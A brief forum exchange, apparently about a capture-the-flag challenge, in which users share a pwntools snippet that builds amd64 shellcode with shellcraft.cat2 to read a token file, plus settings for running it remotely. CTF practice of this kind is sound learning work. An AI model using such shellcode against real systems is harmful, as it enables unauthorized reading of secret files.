Forum Discussion
IotS2024
Bronze III
3 months agoFor me the following worked:
# Generate shellcode to read the file using pwntools shellcraft
context.arch = "amd64"
# Generate shellcode using shellcraft to read file and print the content as hex
shellcode = asm(shellcraft.cat2("/home/token-user/token.txt"))
- steven3 months ago
Silver I
yeah.. as I wrote above... remote :)
and:context.arch = 'amd64' context.os = 'linux'